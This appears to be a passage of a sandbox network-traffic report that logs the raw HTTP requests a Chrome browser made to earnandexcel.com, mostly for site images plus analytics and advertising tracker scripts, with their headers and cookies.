Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/BARCLAYS.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
Source: global traffic	HTTP traffic detected: GET /en_US/fbevents.js HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cm/i?pid=5e40fa19-dd6c-4373-b1e0-df7865ef9034&u_scsid=bfa86cf2-7284-4d8c-929f-9597c1883f68&u_sclid=38ae9a90-f540-4555-a653-07722b05efcf HTTP/1.1Host: tr.snapchat.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/NIKE.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/DHL.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/avatar2.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/FUJITSU.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/james.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Screenshot-2021-06-25-at-8.27.35-PM.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/kiran.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/VBA-For-Professionals-11.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/BARCLAYS.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Coca-Cola.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/TRANSPORT-FOR-LONDON.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /scevent.min.js HTTP/1.1Host: sc-static.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tr.snapchat.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: X-AB=38b33afdb36f494aa03f175381ce5c1b
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/How-to-Make-Every-Other-Line-Shaded-in-Excel-480x260.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/How-to-Find-the-P-Value-in-Excel-480x260.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /ct/core.js HTTP/1.1Host: s.pinimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/How-to-Create-a-Control-Chart-in-Excel-480x260.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/NIKE.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/avatar2.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/james.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
Source: global traffic	HTTP traffic detected: GET /v2/3819/wr-4d84483e4ddfd7d3afb00685f0750c13.js HTTP/1.1Host: widget.wickedreports.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
